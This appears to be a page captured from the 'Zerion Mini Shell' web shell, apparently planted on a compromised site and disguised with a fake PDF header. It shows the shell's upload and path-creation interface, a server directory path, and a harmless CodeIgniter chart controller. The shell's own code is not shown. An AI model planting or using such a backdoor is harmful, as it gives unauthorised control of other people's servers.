%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/public_html/dg/application/modules/chart/controllers/
Upload File :
Create Path :
Current File : /home/ugotscom/public_html/dg/application/modules/chart/controllers/Chart.php

<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Chart extends CI_Controller {
	function __construct()
	{
		parent::__construct();
		$this->load->model('chart_model');
		
	}

	public function index()
	{  
		$this->load->view('chart');
	}
	
	public function getPersonas(){

		$result = $this->chart_model->getPersonas();
		echo json_encode($result);
		
	}
	public function totalno(){

		$result = $this->chart_model->totalno();
		echo json_encode($result);
		
	}
		public function closedno(){

		$result = $this->chart_model->closedno();
		echo json_encode($result);
		
	}
	public function monthwise(){

		$result = $this->chart_model->monthwise();
		echo json_encode($result);
		
	}
	public function enquirytotal(){

		$result = $this->chart_model->enquirytotal();
		echo json_encode($result);
		
	}
	public function leadsstatus(){

		$result = $this->chart_model->leadsstatus();
		echo json_encode($result);
		
	}
	
}

Zerion Mini Shell 1.0